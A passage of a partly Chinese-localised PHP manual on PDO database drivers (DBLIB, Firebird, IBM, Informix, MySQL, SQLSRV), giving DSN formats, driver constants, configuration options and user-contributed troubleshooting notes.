  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.


Connecting to Microsoft SQL Server and Sybase databases

  • ? MS SQL Server (PDO)
  • Firebird (PDO) ?
  • PHP Manual
  • MS SQL Server (PDO)
  • Connecting to Microsoft SQL Server and Sybase databases

PDO_DBLIB DSN

(PECL PDO_DBLIB >= 0.9.0)

PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

说明

The PDO_DBLIB Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sybase: if PDO_DBLIB was linked against the Sybase ct-lib libraries, mssql: if PDO_DBLIB was linked against the Microsoft SQL Server libraries, or dblib: if PDO_DBLIB was linked against the FreeTDS libraries.

host

The hostname on which the database server resides. Defaults to 127.0.0.1.

dbname

The name of the database.

charset

The client character set.

appname

The application name (used in sysprocesses). Defaults to "PHP Generic DB-lib" or "PHP freetds".

secure

Currently unused.

示例

Example #1 PDO_DBLIB DSN examples

The following examples show a PDO_DBLIB DSN for connecting to Microsoft SQL Server and Sybase databases:

mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

User Contributed Notes

Anonymous 14-Jan-2016 04:57
Instead of specifying tds version and client charset in freetds.conf, you may pass it as a parameter.
<?php $dsn = 'dblib:version=7.0;CHARSET=gb2312;host=domain.example.com;dbname=example;'; ?>
michal at durys dot pl 10-May-2013 08:22
If you're using FreeTDS driver and you want to use "charset" parameter then you may have to edit freetds.conf (e.g. /etc/freetds/freetds.conf) and force connection using at least version 7.0 of the protocol.

tds version = 7.0

Charset parameter accepts all encodings supported by iconv (execute iconv --list to show all encodings).
slach at 74mail dot ru 04-Feb-2009 02:11
when you connect to non standart 1433 port

for win32 use DSN like 'mssql:host=hostname,port;dbname=database'

for FreeTDS and DB-Lib use DSN like  'mssql:host=hostname:port;dbname=database'


Firebird Functions (PDO_FIREBIRD)

简介

PDO_FIREBIRD is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Firebird database.

安装

Use --with-pdo-firebird[=DIR] to install the PDO Firebird extension, where the optional [=DIR] is the Firebird base install directory.

$ ./configure --with-pdo-firebird

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::FB_ATTR_DATE_FORMAT (int)

Sets the date format.

PDO::FB_ATTR_TIME_FORMAT (int)

Sets the time format.

PDO::FB_ATTR_TIMESTAMP_FORMAT (int)

Sets the timestamp format.

Table of Contents

  • PDO_FIREBIRD DSN — Connecting to Firebird databases

User Contributed Notes

sebastien dot caplet at l-seguin dot fr 16-Oct-2015 08:13
I have added fbclient.dll in windows/system32/


Connecting to Firebird databases

  • ? Firebird (PDO)
  • IBM (PDO) ?
  • PHP Manual
  • Firebird (PDO)
  • Connecting to Firebird databases

PDO_FIREBIRD DSN

(PECL PDO_FIREBIRD >= 0.1.0)

PDO_FIREBIRD DSN — Connecting to Firebird databases

说明

The PDO_FIREBIRD Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is firebird:.

dbname

The name of the database.

charset

The character set.

role

The SQL role name.

dialect

The dialect of the database; either 1 or 3. If not specified, the dialect defaults to 3. Available as of PHP 7.4.0.

示例

Example #1 PDO_FIREBIRD DSN example with path

The following example shows a PDO_FIREBIRD DSN for connecting to Firebird databases:

firebird:dbname=/path/to/DATABASE.FDB

Example #2 PDO_FIREBIRD DSN example with port and path

The following example shows a PDO_FIREBIRD DSN for connecting to a Firebird database using hostname port and path:

firebird:dbname=hostname/port:/path/to/DATABASE.FDB

Example #3 PDO_FIREBIRD DSN example with localhost and path to employee.fdb on Debian system

The following example shows a PDO_FIREBIRD DSN for connecting to a Firebird database employee.fdb using localhost:

firebird:dbname=localhost:/var/lib/firebird/2.5/data/employee.fdb

Example #4 PDO_FIREBIRD DSN to connect to a dialect 1 database

The following example shows a PDO_FIREBIRD DSN for connecting to a Firebird database test.fdb which has been created using dialect 1. This is only supported as of PHP 7.4.0.

firebird:dbname=localhost:/var/lib/firebird/2.5/data/test.fdb;CHARSET=gb2312;dialect=1

User Contributed Notes

There are no user contributed notes for this page.


IBM Functions (PDO_IBM)

简介

PDO_IBM is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to IBM databases.

安装

To build the PDO_IBM extension, the DB2 Client v9.1 or later must be installed on the same system as PHP. The DB2 Client can be downloaded from the IBM » Application Development Site.

Note: Note

The DB2 Client v9.1 or later supports direct access to DB2 for Linux, UNIX, and Windows v8 and v9.1 servers.

The DB2 Client v9.1 also supports access to DB2 UDB for i5 and DB2 UDB for z/OS servers using the separately purchased » DB2 Connect product.

PDO_IBM is a » PECL extension, so follow the instructions in PECL 扩展安装 to install the PDO_IBM extension. Issue the configure command to point to the location of the DB2 Client header files and libraries as follows:

bash$ ./configure --with-pdo-ibm=/path/to/sqllib[,shared]
The configure command defaults to the value of the DB2DIR environment variable.

Table of Contents

  • PDO_IBM DSN — Connecting to IBM databases

User Contributed Notes

jwoehr at softwoehr dot com 27-Nov-2022 05:00
Connecting to IBM i (called "i5" above in the article) Db2 is usually simpler using PDO_ODBC with the IBM i ODBC driver for IBM i itself, Windows, Linux, or Mac, all free to download ... see https://www.ibm.com/support/pages/odbc-driver-ibm-i-access-client-solutions


Connecting to IBM databases

  • ? IBM (PDO)
  • Informix (PDO) ?
  • PHP Manual
  • IBM (PDO)
  • Connecting to IBM databases

PDO_IBM DSN

(PECL PDO_IBM >= 0.9.0)

PDO_IBM DSN — Connecting to IBM databases

说明

The PDO_IBM Data Source Name (DSN) is based on the IBM CLI DSN. The major components of the PDO_IBM DSN are:

DSN prefix

The DSN prefix is ibm:.

DSN

The DSN can be any of the following:

  • a) Data source setup using db2cli.ini or odbc.ini

  • b) Catalogued database name i.e. database alias in the DB2 client catalog

  • c) Complete connection string in the following format: DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password; where the parameters represent the following values:

    database

    The name of the database.

    hostname

    The hostname or IP address of the database server.

    port

    The TCP/IP port on which the database is listening for requests.

    username

    The username with which you are connecting to the database.

    password

    The password with which you are connecting to the database.

示例

Example #1 PDO_IBM DSN example using db2cli.ini

The following example shows a PDO_IBM DSN for connecting to an DB2 database cataloged as DB2_9 in db2cli.ini:

$db = new PDO("ibm:DSN=DB2_9", "", "");

[DB2_9]
Database=testdb
Protocol=tcpip
Hostname=11.22.33.444
Servicename=56789

Example #2 PDO_IBM DSN example using a connection string

The following example shows a PDO_IBM DSN for connecting to an DB2 database named testdb using the DB2 CLI connection string syntax.

$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
  "HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

User Contributed Notes

franck dot thomas at consult-ix dot fr 01-Aug-2019 11:14
The connection string is wrong for the example :
$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

You get the PDO Exception with the error code -1329.

You have to write :
$db = new PDO(
"ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;UID=testuser;PWD=testpass",
"",
"");


Informix Functions (PDO_INFORMIX)

简介

PDO_INFORMIX is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Informix databases.

安装

To build the PDO_INFORMIX extension, the Informix Client SDK 2.81 UC1 or higher must be installed on the same system as PHP. The Informix Client SDK is available from the » IBM Informix Support Site.

PDO_INFORMIX is a » PECL extension, so follow the instructions in PECL 扩展安装 to install the PDO_INFORMIX extension. Issue the configure command to point to the location of the Informix Client SDK header files and libraries as follows:

   bash$ ./configure --with-pdo-informix=/path/to/SDK[,shared]
The configure command defaults to the value of the INFORMIXDIR environment variable.

Scrollable cursors

PDO_INFORMIX supports scrollable cursors; however, they are not enabled by default. To enable scrollable cursor support, you must either set ENABLESCROLLABLECURSORS=1 in the corresponding ODBC connection settings in odbc.ini or pass the EnableScrollableCursors=1 clause in the DSN connection string.

Table of Contents

  • PDO_INFORMIX DSN — Connecting to Informix databases

User Contributed Notes

Arie De Derde 19-May-2022 07:03
Informix PDO needs the INFORMIXDIR system variable available to the script running under the webserver, in my case apache 2.4.

Using setenv did not work, so I added in the systemd startup script /lib/systemd/system/apache2.service the following:

Environment=INFORMIXDIR=/opt/Informix_Software_Bundle

in the [Service] section.

Of course, the installation directory of your informix libraries may be different than /opt/Informix_Software_Bundle....


Connecting to Informix databases

  • ? Informix (PDO)
  • MySQL (PDO) ?
  • PHP Manual
  • Informix (PDO)
  • Connecting to Informix databases

PDO_INFORMIX DSN

(PECL PDO_INFORMIX >= 0.1.0)

PDO_INFORMIX DSN — Connecting to Informix databases

说明

The PDO_INFORMIX Data Source Name (DSN) is based on the Informix ODBC DSN string. Details on configuring an Informix ODBC DSN are available from the » Informix Dynamic Server Information Center. The major components of the PDO_INFORMIX DSN are:

DSN prefix

The DSN prefix is informix:.

DSN

The DSN can be either a data source setup using odbc.ini or a complete » connection string.

示例

Example #1 PDO_INFORMIX DSN example using odbc.ini

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database cataloged as Infdrv33 in odbc.ini:

$db = new PDO("informix:DSN=Infdrv33", "", "");

[ODBC Data Sources]
Infdrv33=INFORMIX 3.3 32-BIT

[Infdrv33]
Driver=/opt/informix/csdk_2.81.UC1G2/lib/cli/iclis09b.so
Description=INFORMIX 3.3 32-BIT
Database=common_db
LogonID=testuser
pwd=testpass
Servername=ids_server
DB_LOCALE=en_US.819
OPTIMIZEAUTOCOMMIT=1
ENABLESCROLLABLECURSORS=1

Example #2 PDO_INFORMIX DSN example using a connection string

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database named common_db using the Informix connection string syntax.

$db = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

User Contributed Notes

andres at wookplay dot com 27-Dec-2017 08:38
Example #2 PDO_INFORMIX DSN example using a connection string

To work properly, the DSN connection string must not have line breaks.

<?php

$conexion = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

    $sql    = "SELECT * FROM test";
    $prep   = $conexion->prepare($sql);
    $prep->execute();
    $result = $prep->fetchAll(PDO::FETCH_ASSOC);

    var_dump($result);

?>


MySQL Functions (PDO_MYSQL)

简介

PDO_MYSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MySQL databases.

PDO_MYSQL uses emulated prepares by default.

MySQL 8

When running a PHP version before 7.1.16, or PHP 7.2 before 7.2.4, set MySQL 8 Server's default password plugin to mysql_native_password or else you will see errors similar to The server requested authentication method unknown to the client [caching_sha2_password] even when caching_sha2_password is not used.

This is because MySQL 8 defaults to caching_sha2_password, a plugin that is not recognized by the older PHP (mysqlnd) releases. Instead, change it by setting default_authentication_plugin=mysql_native_password in my.cnf. The caching_sha2_password plugin will be supported in a future PHP release. In the meantime, the mysql_xdevapi extension does support it.

Warning

Beware: Some MySQL table types (storage engines) do not support transactions. When writing transactional database code using a table type that does not support transactions, MySQL will pretend that a transaction was initiated successfully. In addition, any DDL queries issued will implicitly commit any pending transactions.

Note:

The MySQL driver does not properly support PDO::PARAM_INPUT_OUTPUT via PDOStatement::bindParam(); while such parameters can be used, they are not updated (i.e. the actual output is ignored).

安装

The common Unix distributions include binary versions of PHP that can be installed. Although these binary versions are typically built with support for the MySQL extensions, the extension libraries themselves may need to be installed using an additional package. Check the package manager that comes with your chosen distribution for availability.

For example, on Ubuntu the php5-mysql package installs the ext/mysql, ext/mysqli, and PDO_MYSQL PHP extensions. On CentOS, the php-mysql package also installs these three PHP extensions.

Alternatively, you can compile this extension yourself. Building PHP from source allows you to specify the MySQL extensions you want to use, as well as your choice of client library for each extension.

When compiling, use --with-pdo-mysql[=DIR] to install the PDO MySQL extension, where the optional [=DIR] is the MySQL base library. Mysqlnd is the default library. For details about choosing a library, see Choosing a MySQL library.

Optionally, the --with-mysql-sock[=DIR] sets to location to the MySQL unix socket pointer for all MySQL extensions, including PDO_MYSQL. If unspecified, the default locations are searched.

Optionally, the --with-zlib-dir[=DIR] is used to set the path to the libz install prefix.

$ ./configure --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock

SSL support is enabled using the appropriate PDO_MySQL constants, which is equivalent to calling the » MySQL C API function mysql_ssl_set(). Also, SSL cannot be enabled with PDO::setAttribute because the connection already exists. See also the MySQL documentation about » connecting to MySQL with SSL.

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (bool)
By default all statements are executed in buffered mode. If this attribute is set to false on a PDO object, the MySQL driver will use the unbuffered mode.

Example #1 Setting MySQL unbuffered mode

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_password');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$unbufferedResult = $pdo->query("SELECT Name FROM City");
foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

PDO::MYSQL_ATTR_LOCAL_INFILE (int)

Enable LOAD LOCAL INFILE.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_LOCAL_INFILE_DIRECTORY (string)

Allows restricting LOCAL DATA loading to files located in this designated directory. Available as of PHP 8.1.0.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_INIT_COMMAND (string)

Command to execute when connecting to the MySQL server. Will automatically be re-executed when reconnecting.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_READ_DEFAULT_FILE (int)

Read options from the named option file instead of from my.cnf. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_READ_DEFAULT_GROUP (int)

Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_MAX_BUFFER_SIZE (int)

Maximum buffer size. Defaults to 1 MiB. This constant is not supported when compiled against mysqlnd.

PDO::MYSQL_ATTR_DIRECT_QUERY (int)

Perform direct queries, don't use prepared statements.

PDO::MYSQL_ATTR_FOUND_ROWS (int)

Return the number of found (matched) rows, not the number of changed rows.

PDO::MYSQL_ATTR_IGNORE_SPACE (int)

Permit spaces after function names. Makes all functions names reserved words.

PDO::MYSQL_ATTR_COMPRESS (int)

Enable network communication compression.

PDO::MYSQL_ATTR_SSL_CA (int)

The file path to the SSL certificate authority.

PDO::MYSQL_ATTR_SSL_CAPATH (int)

The file path to the directory that contains the trusted SSL CA certificates, which are stored in PEM format.

PDO::MYSQL_ATTR_SSL_CERT (int)

The file path to the SSL certificate.

PDO::MYSQL_ATTR_SSL_CIPHER (int)

A list of one or more permissible ciphers to use for SSL encryption, in a format understood by OpenSSL. For example: DHE-RSA-AES256-SHA:AES128-SHA

PDO::MYSQL_ATTR_SSL_KEY (int)

The file path to the SSL key.

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT (int)

Provides a way to disable verification of the server SSL certificate.

自以下版本起 PHP 7.0.18 and PHP 7.1.4.

PDO::MYSQL_ATTR_MULTI_STATEMENTS (int)

Disables multi query execution in both PDO::prepare() and PDO::query() when set to false.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

运行时配置

这些函数的行为受 php.ini 中的设置影响。

PDO_MYSQL Configuration Options
名字 | 默认 | 可修改范围
pdo_mysql.default_socket | "/tmp/mysql.sock" | PHP_INI_SYSTEM
pdo_mysql.debug | NULL | PHP_INI_SYSTEM
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

pdo_mysql.default_socket string

Sets a Unix domain socket. This value can either be set at compile time if a domain socket is found at configure. This ini setting is Unix only.

pdo_mysql.debug bool

Enables debugging for PDO_MYSQL. This setting is only available when PDO_MYSQL is compiled against mysqlnd and in PDO debug mode.

Table of Contents

  • PDO_MYSQL DSN — Connecting to MySQL databases

User Contributed Notes

Desislav Kamenov 29-Jan-2018 08:14
There is an important undocumented attribute which disables certificate CN verification available after
5.6.22 (not sure), 7.0.18 (verified) and 7.1.15 (not sure)

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT

possible values: true, false
default value: true

Related PHP bugs:
https://bugs.php.net/bug.php?id=71845
https://bugs.php.net/bug.php?id=71003

and github PR: https://github.com/php/php-src/pull/1913
vafa ghoreyshi atgmailcom 06-Sep-2017 04:57
If you have the error 'could not find driver' and won't able to install driver for newer linux(Fedora, Redhat, CentOS) with latest PHP7/MariaDB10/Apache2.4 get this package installed and get every things smooth.
First download latest version of epel and remi for your distribution. This links is for Fedora 26:

wget https://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
wget https://rpms.remirepo.net/fedora/remi-release-26.rpm

Than install them

rpm -Uvh remi-release-26.rpm
rpm -Uvh epel-release-6-8.noarch.rpm

Know you can use remi repository to gest php-pdo and php-mysql.

yum --enablerepo=remi install php-pdo
yum --enablerepo=remi install php-mysql

Restart the Apache

systemctl stop httpd
systemctl start httpd

Good to go!
Gerald Schneider 09-Nov-2013 08:25
This page suggests that the constant PDO::MYSQL_ATTR_FOUND_ROWS  was always available (no note "exists as of X.X"), but I found the constant missing on an installation with PHP 5.2. After switching the PHP version to 5.3.27 on the webspace the constant was available.
curt at webmasterbond dot com 15-Apr-2011 05:54
Today's PHP snapshot now has SSL support for PDO. Follow the directions here ( http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html ) to set up MySQL and then use the following connection options:

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=ssldb',
    'username',
    'password',
    array(
        PDO::MYSQL_ATTR_SSL_KEY    =>'/path/to/client-key.pem',
        PDO::MYSQL_ATTR_SSL_CERT=>'/path/to/client-cert.pem',
        PDO::MYSQL_ATTR_SSL_CA    =>'/path/to/ca-cert.pem'
    )
);
?>
brian at diamondsea dot com 25-Jul-2008 11:26
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

After spending hours trying to track down why we were getting this error on a new server, after the same code ran fine on other servers, we found the problem to be an old MySQL _client_ library running on our web server, and a latest-version MySQL _server_ running on the database server's box.

Upgraded the MySQL client on the web server to the current revision and the problem went away.
miller_kurt_e at yahoo dot com 20-Jul-2008 02:03
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

This one can be a royal pain to deal with.  Never stack statements to be executed in one go.  Nobody ever mentions this possibility in all the posts I've seen dealing with this error.

This example is a Zend Framework example but the theory is the same.

As in:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

This will run fine but PDO will balk with the 'unbuffered' error if you follow this with another query.

Instead do:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

Chopping it into individual queries fixes the problem.
rmottey at gmail dot com 09-Jan-2008 03:51
I have been getting the error below when performing multiple queries within a single page.

Setting the attribute below did not seem to work for me.

So building on previous example i am initilizing my stmt  variable on every query and a fetch all into an array. Seems to be working for me.

Error:
PDO Error 1.1: Array ( [0] => xxx[1] => yyy[2] => Lost connection to MySQL server during query )

Fix:

(PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);)

<?

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));
 $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();
      // fetch all rows into an array.
       $rows = $stmt->fetchAll();
       foreach ($rows as $rs)
    {
          $id = $rs['id'];
         }
//initilise the statement
unset($stmt);
$stmt = $dbh->prepare("call secondprocedure(?);");
$stmt->bindValue(1, $id);
if ( ! $stmt->execute() )
{
    echo "PDO Error 1.1:\n";
    print_r($stmt->errorInfo());
    exit;
}
unset($stmt);
} catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
davey at php dot net 06-Jun-2007 01:46
To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
PDO::setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

It will not work when passed into PDO::prepare()


Connecting to MySQL databases

  • ? MySQL (PDO)
  • MS SQL Server (PDO) ?
  • PHP Manual
  • MySQL (PDO)
  • Connecting to MySQL databases

PDO_MYSQL DSN

(PECL PDO_MYSQL >= 0.1.0)

PDO_MYSQL DSN — Connecting to MySQL databases

说明

The PDO_MYSQL Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is mysql:.

host

The hostname on which the database server resides.

port

The port number where the database server is listening.

dbname

The name of the database.

unix_socket

The MySQL Unix socket (shouldn't be used with host or port).

charset

The character set. See the character set concepts documentation for more information.

示例

Example #1 PDO_MYSQL DSN examples

The following example shows a PDO_MYSQL DSN for connecting to MySQL databases:

mysql:host=localhost;dbname=testdb
More complete examples:
mysql:host=localhost;port=3307;dbname=testdb
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb

注释

Note: Unix only:

When the host name is set to "localhost", then the connection to the server is made through a domain socket. If PDO_MYSQL is compiled against libmysqlclient then the location of the socket file is at libmysqlclient's compiled in location. If PDO_MYSQL is compiled against mysqlnd a default socket can be set through the pdo_mysql.default_socket setting.

User Contributed Notes

anrdaemon at yandex dot ru 25-Feb-2022 11:47
Wrappers may add support for extra parameters in the DSN, which are ignored by PDO itself, but facilitate more fine-grained connection setup.

F.e. localization (particularly LC_TIME) and timezones support.

https://github.com/AnrDaemon/library-php/blob/335e9e58f22cca8c185b35cf201ad0a367ae4c9f/src/Wrappers/PDOMysql.php#L54-L69
FireDev 05-Feb-2020 05:32
The best way for me

$bdd= new PDO("mysql:host=localhost;dbname=test_db;charset=UTF8", "username", "password");
$bdd->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
divinity76 at gmail dot com 13-Oct-2019 04:07
here is the example i prefer myself, in my opinion, this is almost always "the correct way" to do it:
<?php

$db = new \PDO('mysql:host=localhost;dbname=testdb;charset=utf8mb4', 'username', 'password', array(
    \PDO::ATTR_EMULATE_PREPARES => false,
    \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
));
yuqiangliu at outlook dot com 23-Apr-2019 09:40
$options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',
);

SET NAMES utf8 is equivalent to

SET character_set_client = utf8;
SET character_set_results = utf8;
SET character_set_connection = utf8;
rhian 02-Dec-2016 03:13
xwisdom made a mistake in his comment and got it backwards, correction below:

If you are having problems accessing a remote MYSQL database, the solution is to make sure that you add a white-space after "mysql:"

Change this...:
mysql:host=remote;

...to this:
mysql: host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
xwisdom at gmail dot com 07-Dec-2015 11:11
If you are having problems accessing a remote MYSQL database, the solution is to make sure that you remove any white-space after "mysql:"

Change this...:
mysql: host=remote;

...to this:
mysql:host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
siguza at siguza dot net dot IGNORETHIS 04-Jan-2015 02:24
It should be noted that unix_socket can also be used for named pipes under Windows.

<?php
$pipeName = 'my_awesome_pipe';
$username = 'username';
$password = 'password';
$dbh = new PDO('mysql:unix_socket='.$pipeName, $username, $password);
?>
codeslinger at compsalot dot com 11-Mar-2009 03:00
I have tested this and found that the "dbname" field is optional.  Which is a good thing if you must first create the db.

After creating a db be sure to exec a "use dbname;"  command, or else use fully specified table references.


Microsoft SQL Server Functions (PDO_SQLSRV)

简介

PDO_SQLSRV is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MS SQL Server (starting with SQL Server 2005) and SQL Azure databases.

安装

The most recent version of the driver is available for download here: » SQLSRV download. The driver sources are hosted in a » public repository.

For more information about system requirements, see » SQLSRV System Requirements.

On Windows the PDO_SQLSRV extension is enabled by downloading and adding appropriate DLL files to the PHP extension directory and the corresponding entry to the php.ini file.

On Linux and macOS, the PDO_SQLSRV extension can be installed using » PECL. See the » installation tutorial for details.

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::SQLSRV_TXN_READ_UNCOMMITTED (int)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Uncommitted.
PDO::SQLSRV_TXN_READ_COMMITTED (int)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Committed.
PDO::SQLSRV_TXN_REPEATABLE_READ (int)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Repeateable Read.
PDO::SQLSRV_TXN_SNAPSHOT (int)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Snapshot.
PDO::SQLSRV_TXN_SERIALIZABLE (int)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Serializable.
PDO::SQLSRV_ENCODING_BINARY (int)
Specifies that data is sent/retrieved as a raw byte stream to/from the server without performing encoding or translation. This constant can be passed to PDOStatement::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_SYSTEM (int)
Specifies that data is sent/retrieved to/from the server as 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_UTF8 (int)
Specifies that data is sent/retrieved to/from the server in UTF-8 encoding. This is the default encoding. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_DEFAULT (int)
Specifies that data is sent/retrieved to/from the server according to PDO::SQLSRV_ENCODING_SYSTEM if specified during connection. The connection's encoding is used if specified in a prepare statement. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ATTR_QUERY_TIMEOUT (int)
